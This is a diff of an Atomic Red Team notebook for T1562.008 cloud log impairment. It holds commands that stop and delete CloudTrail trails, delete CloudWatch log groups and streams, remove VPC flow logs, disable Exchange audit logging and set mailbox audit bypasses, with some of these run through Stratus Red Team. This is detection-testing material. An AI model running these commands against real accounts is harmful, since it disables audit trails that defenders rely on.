and/or encrypt log files.(Citation: AWS Update Trail)(Citation: Pacu Detection Disruption Module) In Office 365, an adversary may disable logging on mail collection activities for specific users by using the `Set-MailboxAuditBypassAssociation` cmdlet, by disabling M365 Advanced Auditing for the user, or by downgrading the user\u2019s license from an Enterprise E5 to an Enterprise E3 license.(Citation: Dark Reading Microsoft 365 Attacks 2021)" }, { "cell_type": "markdown", - "id": "ec986b75", + "id": "15d405ef", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "9ac43e1c", + "id": "57fb1cfa", "metadata": {}, - "source": "### Atomic Test #1 - AWS - CloudTrail Changes\nCreates a new cloudTrail in AWS, Upon successful creation it will Update,Stop and Delete the cloudTrail\n\n**Supported Platforms:** iaas:aws\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if ~/.aws/credentials file has a default stanza is configured\n\n##### Check Prereq Commands:\n```sh\ncat ~/.aws/credentials | grep \"default\"\n\n```\n##### Get Prereq Commands:\n```sh\necho Please install the aws-cli and configure your AWS default profile using: aws configure\n\n```\n##### Description: Check if terraform is installed.\n\n##### Check Prereq Commands:\n```sh\nterraform version\n\n```\n##### Get Prereq Commands:\n```sh\necho Please install the terraform and configure your aws default profile \n\n```\n##### Description: Check if the dependency resources are already present.\n\n##### Check Prereq Commands:\n```sh\nif [ -f $PathToAtomicsFolder/T1562.008/src/T1562.008-1/terraform.tfstate ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\ncd $PathToAtomicsFolder/T1562.008/src/T1562.008-1/\nterraform init\nterraform apply -auto-approve\n\n```" + "source": "### Atomic Test #1 - AWS - CloudTrail Changes\nCreates a new cloudTrail in AWS, Upon successful creation it will Update,Stop and Delete the cloudTrail\n\n**Supported Platforms:** iaas:aws\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if ~/.aws/credentials file has a default stanza is configured\n\n##### Check Prereq Commands:\n```sh\ncat ~/.aws/credentials | grep \"default\"\n\n```\n##### Get Prereq Commands:\n```sh\necho Please install the aws-cli and configure your AWS default profile using: aws configure\n\n```\n##### Description: Check if terraform is installed.\n\n##### Check Prereq Commands:\n```sh\nterraform version\n\n```\n##### Get Prereq Commands:\n```sh\necho Please install the terraform and configure your aws default profile \n\n```\n##### Description: Check if the dependency resources are already present.\n\n##### Check Prereq Commands:\n```sh\nif [ -f \"$PathToAtomicsFolder/T1562.008/src/T1562.008-1/terraform.tfstate\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\ncd \"$PathToAtomicsFolder/T1562.008/src/T1562.008-1/\"\nterraform init\nterraform apply -auto-approve\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "7bd392f9", + "id": "b0d47724", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.008 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "46fbe703", + "id": "be3e7e7e", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -38,42 +38,42 @@ { "cell_type": "code", "execution_count": null, - "id": "d06ea6de", + "id": "1751e5ff", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.008 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "e58c2dea", + "id": "b855da38", "metadata": {}, - "source": "#### Cleanup: \n```sh\ncd $PathToAtomicsFolder/T1562.008/src/T1562.008-1/\nterraform destroy -auto-approve\n```" + "source": "#### Cleanup: \n```sh\ncd \"$PathToAtomicsFolder/T1562.008/src/T1562.008-1/\"\nterraform destroy -auto-approve\n```" }, { "cell_type": "code", "execution_count": null, - "id": "6d171d55", + "id": "9597fedf", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.008 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "838ab2ce", + "id": "5209a78b", "metadata": {}, - "source": "### Atomic Test #2 - Azure - Eventhub Deletion\nIdentifies an Event Hub deletion in Azure.\nAn Event Hub is an event processing service that ingests and processes large volumes of events and data.\nAn adversary may delete an Event Hub in an attempt to evade detection.\nhttps://docs.microsoft.com/en-us/azure/event-hubs/event-hubs-about.\n\n**Supported Platforms:** iaas:azure\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Install-Module -Name Az\n\n##### Check Prereq Commands:\n```powershell\ntry {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name AzureAD -Force\n\n```\n##### Description: Check if terraform is installed.\n\n##### Check Prereq Commands:\n```powershell\nterraform version\n\n```\n##### Get Prereq Commands:\n```powershell\necho Please install the terraform.\n\n```\n##### Description: Check if the user is logged into Azure.\n\n##### Check Prereq Commands:\n```powershell\naz account show\n\n```\n##### Get Prereq Commands:\n```powershell\necho Configure your Azure account using: az login. \n\n```\n##### Description: Create dependency resources using terraform\n\n##### Check Prereq Commands:\n```powershell\ntry {if (Test-Path $PathToAtomicsFolder/T1562.008/src/T1562.008-2/terraform.tfstate ){ exit 0 } else {exit 1}} catch {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\ncd $PathToAtomicsFolder/T1562.008/src/T1562.008-2/\nterraform init\nterraform apply -auto-approve\n\n```" + "source": "### Atomic Test #2 - Azure - Eventhub Deletion\nIdentifies an Event Hub deletion in Azure.\nAn Event Hub is an event processing service that ingests and processes large volumes of events and data.\nAn adversary may delete an Event Hub in an attempt to evade detection.\nhttps://docs.microsoft.com/en-us/azure/event-hubs/event-hubs-about.\n\n**Supported Platforms:** iaas:azure\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Install-Module -Name Az\n\n##### Check Prereq Commands:\n```powershell\ntry {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name AzureAD -Force\n\n```\n##### Description: Check if terraform is installed.\n\n##### Check Prereq Commands:\n```powershell\nterraform version\n\n```\n##### Get Prereq Commands:\n```powershell\necho Please install the terraform.\n\n```\n##### Description: Check if the user is logged into Azure.\n\n##### Check Prereq Commands:\n```powershell\naz account show\n\n```\n##### Get Prereq Commands:\n```powershell\necho Configure your Azure account using: az login. \n\n```\n##### Description: Create dependency resources using terraform\n\n##### Check Prereq Commands:\n```powershell\ntry {if (Test-Path \"$PathToAtomicsFolder/T1562.008/src/T1562.008-2/terraform.tfstate\" ){ exit 0 } else {exit 1}} catch {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\ncd \"$PathToAtomicsFolder/T1562.008/src/T1562.008-2/\"\nterraform init\nterraform apply -auto-approve\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "6bf73e15", + "id": "067926ab", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.008 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "e0da9fb3", + "id": "3fb9715f", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -83,42 +83,42 @@ { "cell_type": "code", "execution_count": null, - "id": "6001134a", + "id": "39678c6e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.008 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "dd6fce77", + "id": "d35a6692", "metadata": {}, - "source": "#### Cleanup: \n```powershell\ncd $PathToAtomicsFolder/T1562.008/src/T1562.008-2/\nterraform destroy -auto-approve\n```" + "source": "#### Cleanup: \n```powershell\ncd \"$PathToAtomicsFolder/T1562.008/src/T1562.008-2/\"\nterraform destroy -auto-approve\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f0355637", + "id": "e0940216", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.008 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "876e06fe", + "id": "92eccab1", "metadata": {}, "source": "### Atomic Test #3 - Office 365 - Exchange Audit Log Disabled\nYou can use the Exchange Management Shell to enable or disable mailbox audit logging for a mailbox.\nUnified or Admin Audit logs are disabled via the Exchange Powershell cmdline.\nhttps://github.com/Azure/Azure-Sentinel/blob/master/Detections/OfficeActivity/exchange_auditlogdisabled.yaml\n\n**Supported Platforms:** office-365\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: ExchangeOnlineManagement PowerShell module must be installed\n\n##### Check Prereq Commands:\n```powershell\n$RequiredModule = Get-Module -Name ExchangeOnlineManagement -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Connect-ExchangeOnline']) {exit 1} else {exit 0}\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name ExchangeOnlineManagement \nImport-Module ExchangeOnlineManagement\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "4f122050", + "id": "f5a54b1c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.008 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "41e59ecf", + "id": "b27aae2a", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -128,42 +128,42 @@ { "cell_type": "code", "execution_count": null, - "id": "ab05220b", + "id": "4a1d0ef5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.008 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "fa95ddd3", + "id": "1830f7ec", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$secure_pwd = \"None\" | ConvertTo-SecureString -AsPlainText -Force\n$creds = New-Object System.Management.Automation.PSCredential -ArgumentList \"None\", $secure_pwd\nConnect-ExchangeOnline -Credential $creds\nSet-AdminAuditLogConfig -UnifiedAuditLogIngestionEnabled $True\n```" }, { "cell_type": "code", "execution_count": null, - "id": "e3ce1ed8", + "id": "338c4852", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.008 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "32b87d1b", + "id": "1080a68f", "metadata": {}, - "source": "### Atomic Test #4 - AWS - Disable CloudTrail Logging Through Event Selectors using Stratus\nUpdate event selectors in AWS CloudTrail to disable the logging of certain management events to evade defense. This Atomic test leverages a tool called Stratus-Red-Team built by DataDog (https://github.com/DataDog/stratus-red-team). Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. Ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.cloudtrail-event-selectors/\n\n**Supported Platforms:** linux, macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Stratus binary must be present at the (#{stratus_path}/stratus)\n\n##### Check Prereq Commands:\n```sh\nif [ -f $PathToAtomicsFolder/T1562.008/src/stratus ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\nif [ \"$(uname)\" == \"Darwin\" ]\nthen DOWNLOAD_URL=$(curl -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest | grep browser_download_url | grep Darwin_x86_64 | cut -d '\"' -f 4); wget -q -O $PathToAtomicsFolder/T1562.008/src/stratus-red-team-latest.tar.gz $DOWNLOAD_URL\n tar -xzvf $PathToAtomicsFolder/T1562.008/src/stratus-red-team-latest.tar.gz --directory $PathToAtomicsFolder/T1562.008/src/\nelif [ \"$(expr substr $(uname) 1 5)\" == \"Linux\" ]\nthen DOWNLOAD_URL=$(curl -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest | grep browser_download_url | grep linux_x86_64 | cut -d '\"' -f 4) \n wget -q -O $PathToAtomicsFolder/T1562.008/src/stratus-red-team-latest.tar.gz $DOWNLOAD_URL\n tar -xzvf $PathToAtomicsFolder/T1562.008/src/stratus-red-team-latest.tar.gz --directory $PathToAtomicsFolder/T1562.008/src/\nfi\n\n```\n##### Description: Check if ~/.aws/credentials file has a default stanza is configured\n\n##### Check Prereq Commands:\n```sh\ncat ~/.aws/credentials | grep \"default\"\n\n```\n##### Get Prereq Commands:\n```sh\necho Please install the aws-cli and configure your AWS defult profile using: aws configure\n\n```" + "source": "### Atomic Test #4 - AWS - Disable CloudTrail Logging Through Event Selectors using Stratus\nUpdate event selectors in AWS CloudTrail to disable the logging of certain management events to evade defense. This Atomic test leverages a tool called Stratus-Red-Team built by DataDog (https://github.com/DataDog/stratus-red-team). Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. Ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.cloudtrail-event-selectors/\n\n**Supported Platforms:** linux, macos, iaas:aws\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Stratus binary must be present at the (#{stratus_path}/stratus)\n\n##### Check Prereq Commands:\n```sh\nif [ -f $PathToAtomicsFolder/T1562.008/src/stratus ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\nif [ \"$(uname)\" == \"Darwin\" ]\nthen DOWNLOAD_URL=$(curl -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest | grep browser_download_url | grep Darwin_x86_64 | cut -d '\"' -f 4); wget -q -O $PathToAtomicsFolder/T1562.008/src/stratus-red-team-latest.tar.gz $DOWNLOAD_URL\n tar -xzvf $PathToAtomicsFolder/T1562.008/src/stratus-red-team-latest.tar.gz --directory $PathToAtomicsFolder/T1562.008/src/\nelif [ \"$(expr substr $(uname) 1 5)\" == \"Linux\" ]\nthen DOWNLOAD_URL=$(curl -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest | grep browser_download_url | grep linux_x86_64 | cut -d '\"' -f 4) \n wget -q -O $PathToAtomicsFolder/T1562.008/src/stratus-red-team-latest.tar.gz $DOWNLOAD_URL\n tar -xzvf $PathToAtomicsFolder/T1562.008/src/stratus-red-team-latest.tar.gz --directory $PathToAtomicsFolder/T1562.008/src/\nfi\n\n```\n##### Description: Check if ~/.aws/credentials file has a default stanza is configured\n\n##### Check Prereq Commands:\n```sh\ncat ~/.aws/credentials | grep \"default\"\n\n```\n##### Get Prereq Commands:\n```sh\necho Please install the aws-cli and configure your AWS defult profile using: aws configure\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "e9a477a4", + "id": "4cf4811b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.008 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "9e83d139", + "id": "f7533c3f", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -173,42 +173,42 @@ { "cell_type": "code", "execution_count": null, - "id": "a756ba1b", + "id": "e34e36ab", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.008 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "3f61af19", + "id": "060d50d6", "metadata": {}, "source": "#### Cleanup: \n```sh\nexport AWS_REGION=us-west-2\necho \"Cleanup detonation\"\ncd $PathToAtomicsFolder/T1562.008/src\n./stratus cleanup --all\nrm -rf stratus*\n```" }, { "cell_type": "code", "execution_count": null, - "id": "61eb7be2", + "id": "e6fc5e23", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.008 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "d0e21396", + "id": "9e164cbc", "metadata": {}, "source": "### Atomic Test #5 - AWS - CloudTrail Logs Impairment Through S3 Lifecycle Rule using Stratus\nThis Atomic test will use the Stratus Red Team will first setup a CloudTrail logging into an S3 bucket and will then make an API call to update the lifecycle rule on that S3 bucket with an expiration date of 1 day. This will essentially delete all the logs after one day. Adversaries often do this actiivity to evade detection. Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.cloudtrail-lifecycle-rule/\n\n**Supported Platforms:** linux, macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Stratus binary must be present at the (#{stratus_path}/stratus)\n\n##### Check Prereq Commands:\n```sh\nif [ -f $PathToAtomicsFolder/T1562.008/src/stratus ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\nif [ \"$(uname)\" == \"Darwin\" ]\nthen DOWNLOAD_URL=$(curl -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest | grep browser_download_url | grep Darwin_x86_64 | cut -d '\"' -f 4); wget -q -O $PathToAtomicsFolder/T1562.008/src/stratus-red-team-latest.tar.gz $DOWNLOAD_URL\n tar -xzvf $PathToAtomicsFolder/T1562.008/src/stratus-red-team-latest.tar.gz --directory $PathToAtomicsFolder/T1562.008/src/\nelif [ \"$(expr substr $(uname) 1 5)\" == \"Linux\" ]\nthen DOWNLOAD_URL=$(curl -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest | grep browser_download_url | grep linux_x86_64 | cut -d '\"' -f 4) \n wget -q -O $PathToAtomicsFolder/T1562.008/src/stratus-red-team-latest.tar.gz $DOWNLOAD_URL\n tar -xzvf $PathToAtomicsFolder/T1562.008/src/stratus-red-team-latest.tar.gz --directory $PathToAtomicsFolder/T1562.008/src/\nfi\n\n```\n##### Description: Check if ~/.aws/credentials file has a default stanza is configured\n\n##### Check Prereq Commands:\n```sh\ncat ~/.aws/credentials | grep \"default\"\n\n```\n##### Get Prereq Commands:\n```sh\necho Please install the aws-cli and configure your AWS defult profile using: aws configure\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b9fead3b", + "id": "25fb540d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.008 -TestNumbers 5 -GetPreReqs" }, { "cell_type": "markdown", - "id": "5a0631bf", + "id": "959958c2", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -218,42 +218,42 @@ { "cell_type": "code", "execution_count": null, - "id": "cf3a60aa", + "id": "6def4554", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.008 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "b2bd98f9", + "id": "87ddc057", "metadata": {}, "source": "#### Cleanup: \n```sh\nexport AWS_REGION=us-west-2\necho \"Cleanup detonation\"\ncd $PathToAtomicsFolder/T1562.008/src\n./stratus cleanup --all\nrm -rf stratus*\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c42eac17", + "id": "188233e8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.008 -TestNumbers 5 -Cleanup" }, { "cell_type": "markdown", - "id": "27fa29a9", + "id": "a2ba536a", "metadata": {}, - "source": "### Atomic Test #6 - AWS - Remove VPC Flow Logs using Stratus\nThis Atomic will attempt to remove AWS VPC Flow Logs configuration. Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. Ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.vpc-remove-flow-logs/\n\n**Supported Platforms:** linux, macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Stratus binary must be present at the (#{stratus_path}/stratus)\n\n##### Check Prereq Commands:\n```sh\nif [ -f $PathToAtomicsFolder/T1562.008/src/stratus ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\nif [ \"$(uname)\" == \"Darwin\" ]\nthen DOWNLOAD_URL=$(curl -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest | grep browser_download_url | grep Darwin_x86_64 | cut -d '\"' -f 4); wget -q -O $PathToAtomicsFolder/T1562.008/src/stratus-red-team-latest.tar.gz $DOWNLOAD_URL\n tar -xzvf $PathToAtomicsFolder/T1562.008/src/stratus-red-team-latest.tar.gz --directory $PathToAtomicsFolder/T1562.008/src/\nelif [ \"$(expr substr $(uname) 1 5)\" == \"Linux\" ]\nthen DOWNLOAD_URL=$(curl -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest | grep browser_download_url | grep linux_x86_64 | cut -d '\"' -f 4) \n wget -q -O $PathToAtomicsFolder/T1562.008/src/stratus-red-team-latest.tar.gz $DOWNLOAD_URL\n tar -xzvf $PathToAtomicsFolder/T1562.008/src/stratus-red-team-latest.tar.gz --directory $PathToAtomicsFolder/T1562.008/src/\nfi\n\n```\n##### Description: Check if ~/.aws/credentials file has a default stanza is configured\n\n##### Check Prereq Commands:\n```sh\ncat ~/.aws/credentials | grep \"default\"\n\n```\n##### Get Prereq Commands:\n```sh\necho Please install the aws-cli and configure your AWS defult profile using: aws configure\n\n```" + "source": "### Atomic Test #6 - AWS - Remove VPC Flow Logs using Stratus\nThis Atomic will attempt to remove AWS VPC Flow Logs configuration. Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. Ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.vpc-remove-flow-logs/\n\n**Supported Platforms:** linux, macos, iaas:aws\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Stratus binary must be present at the (#{stratus_path}/stratus)\n\n##### Check Prereq Commands:\n```sh\nif [ -f $PathToAtomicsFolder/T1562.008/src/stratus ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\nif [ \"$(uname)\" == \"Darwin\" ]\nthen DOWNLOAD_URL=$(curl -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest | grep browser_download_url | grep Darwin_x86_64 | cut -d '\"' -f 4); wget -q -O $PathToAtomicsFolder/T1562.008/src/stratus-red-team-latest.tar.gz $DOWNLOAD_URL\n tar -xzvf $PathToAtomicsFolder/T1562.008/src/stratus-red-team-latest.tar.gz --directory $PathToAtomicsFolder/T1562.008/src/\nelif [ \"$(expr substr $(uname) 1 5)\" == \"Linux\" ]\nthen DOWNLOAD_URL=$(curl -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest | grep browser_download_url | grep linux_x86_64 | cut -d '\"' -f 4) \n wget -q -O $PathToAtomicsFolder/T1562.008/src/stratus-red-team-latest.tar.gz $DOWNLOAD_URL\n tar -xzvf $PathToAtomicsFolder/T1562.008/src/stratus-red-team-latest.tar.gz --directory $PathToAtomicsFolder/T1562.008/src/\nfi\n\n```\n##### Description: Check if ~/.aws/credentials file has a default stanza is configured\n\n##### Check Prereq Commands:\n```sh\ncat ~/.aws/credentials | grep \"default\"\n\n```\n##### Get Prereq Commands:\n```sh\necho Please install the aws-cli and configure your AWS defult profile using: aws configure\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "85b8621f", + "id": "992a45db", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.008 -TestNumbers 6 -GetPreReqs" }, { "cell_type": "markdown", - "id": "1a308c6d", + "id": "cf928281", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -263,42 +263,42 @@ { "cell_type": "code", "execution_count": null, - "id": "68b2d3ba", + "id": "aaa1e689", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.008 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "6b2e8595", + "id": "b37b98f4", "metadata": {}, "source": "#### Cleanup: \n```sh\nexport AWS_REGION=us-west-2\necho \"Cleanup detonation\"\ncd $PathToAtomicsFolder/T1562.008/src\n./stratus cleanup --all\nrm -rf stratus*\n```" }, { "cell_type": "code", "execution_count": null, - "id": "2e1e056a", + "id": "d5b40e41", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.008 -TestNumbers 6 -Cleanup" }, { "cell_type": "markdown", - "id": "71982ebf", + "id": "1cf7cd3c", "metadata": {}, "source": "### Atomic Test #7 - AWS - CloudWatch Log Group Deletes\nCreates a new cloudWatch log group in AWS, Upon successful creation it will Delete the group. Attackers can use this technique to evade defenses by \ndeleting the log stream. Once it is deleted, the logs created by the attackers will not be logged. https://www.elastic.co/guide/en/security/current/aws-cloudwatch-log-group-deletion.html#aws-cloudwatch-log-group-deletion\n\n**Supported Platforms:** iaas:aws\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if ~/.aws/credentials file has a default stanza is configured\n\n##### Check Prereq Commands:\n```sh\ncat ~/.aws/credentials | grep \"default\"\n\n```\n##### Get Prereq Commands:\n```sh\necho Please install the aws-cli and configure your AWS defult profile using: aws configure\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "d94438e5", + "id": "d3f6b60f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.008 -TestNumbers 7 -GetPreReqs" }, { "cell_type": "markdown", - "id": "ccdcf408", + "id": "36a3b6b6", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -308,90 +308,135 @@ { "cell_type": "code", "execution_count": null, - "id": "9d3a927e", + "id": "b2f04a09", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.008 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "6022cc5f", + "id": "74bcd060", "metadata": {}, - "source": "### Atomic Test #8 - AWS - CloudWatch Log Stream Deletes\nCreates a new CloudWatch log group in AWS, Upon successful creation it will Delete the group. Attackers can use this technique to evade defenses by \ndeleting the log stream. Once it is deleted, the logs created by the attackers will not be logged. https://www.elastic.co/guide/en/security/current/aws-cloudwatch-log-group-deletion.html#aws-cloudwatch-log-group-deletion\n\n**Supported Platforms:** iaas:aws\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if ~/.aws/credentials file has a default stanza is configured\n\n##### Check Prereq Commands:\n```sh\ncat ~/.aws/credentials | grep \"default\"\n\n```\n##### Get Prereq Commands:\n```sh\necho Please install the aws-cli and configure your AWS defult profile using: aws configure\n\n```" + "source": "### Atomic Test #8 - AWS CloudWatch Log Stream Deletes\nCreates a new cloudWatch log stream in AWS, Upon successful creation it will Delete the stream. Attackers can use this technique to evade defenses by \ndeleting the log stream. Once it is deleted, the logs created by the attackers will not be logged. https://www.elastic.co/guide/en/security/current/aws-cloudwatch-log-stream-deletion.html\n\n**Supported Platforms:** iaas:aws\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if ~/.aws/credentials file has a default stanza is configured\n\n##### Check Prereq Commands:\n```sh\ncat ~/.aws/credentials | grep \"default\"\n\n```\n##### Get Prereq Commands:\n```sh\necho Please install the aws-cli and configure your AWS defult profile using: aws configure\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b072ab14", + "id": "516c7e21", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.008 -TestNumbers 8 -GetPreReqs" }, { "cell_type": "markdown", - "id": "cb881b9b", + "id": "960b6205", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", - "```sh\naws logs create-log-group --log-group-name log-test --region us-east-1 --output json\necho \"*** Log Group Created ***\"\naws logs delete-log-group --log-group-name log-test --region us-east-1 --output json\necho \"*** Log Group Deleted ***\"\n```" + "```sh\naws logs create-log-group --log-group-name test-logs --region us-west-2 --output json\necho \"*** Log Group Created ***\"\naws logs create-log-stream --log-group-name test-logs --log-stream-name 20150601\necho \"*** Log Stream Created ***\"\naws logs delete-log-stream --log-group-name test-logs --log-stream-name 20150601\necho \"*** Log Stream Deleted ***\"\naws logs delete-log-group --log-group-name test-logs --region us-west-2 --output json\necho \"*** Log Group Deleted ***\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "25794f65", + "id": "3d31bd31", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.008 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "47235f66", + "id": "2de19444", "metadata": {}, - "source": "### Atomic Test #9 - AWS CloudWatch Log Stream Deletes\nCreates a new cloudWatch log stream in AWS, Upon successful creation it will Delete the stream. Attackers can use this technique to evade defenses by \ndeleting the log stream. Once it is deleted, the logs created by the attackers will not be logged. https://www.elastic.co/guide/en/security/current/aws-cloudwatch-log-stream-deletion.html\n\n**Supported Platforms:** iaas:aws\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if ~/.aws/credentials file has a default stanza is configured\n\n##### Check Prereq Commands:\n```sh\ncat ~/.aws/credentials | grep \"default\"\n\n```\n##### Get Prereq Commands:\n```sh\necho Please install the aws-cli and configure your AWS defult profile using: aws configure\n\n```" + "source": "### Atomic Test #9 - Office 365 - Set Audit Bypass For a Mailbox\nUse Exchange Management Shell to Mailbox auditing to bypass. It will prevent any mailbox audit logging entries being generated for the target e-mail box.\nhttps://learn.microsoft.com/en-us/powershell/module/exchange/set-mailboxauditbypassassociation?view=exchange-ps\n\n**Supported Platforms:** office-365\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: ExchangeOnlineManagement PowerShell module must be installed\n\n##### Check Prereq Commands:\n```powershell\n$RequiredModule = Get-Module -Name ExchangeOnlineManagement -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Connect-ExchangeOnline']) {exit 1} else {exit 0}\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name ExchangeOnlineManagement \nImport-Module ExchangeOnlineManagement\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f8c2b969", + "id": "8a41cb63", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.008 -TestNumbers 9 -GetPreReqs" }, { "cell_type": "markdown", - "id": "29580f32", + "id": "6765b106", "metadata": {}, "source": [ - "#### Attack Commands: Run with `sh`\n", - "```sh\naws logs create-log-group --log-group-name test-logs --region us-west-2 --output json\necho \"*** Log Group Created ***\"\naws logs create-log-stream --log-group-name test-logs --log-stream-name 20150601\necho \"*** Log Stream Created ***\"\naws logs delete-log-stream --log-group-name test-logs --log-stream-name 20150601\necho \"*** Log Stream Deleted ***\"\naws logs delete-log-group 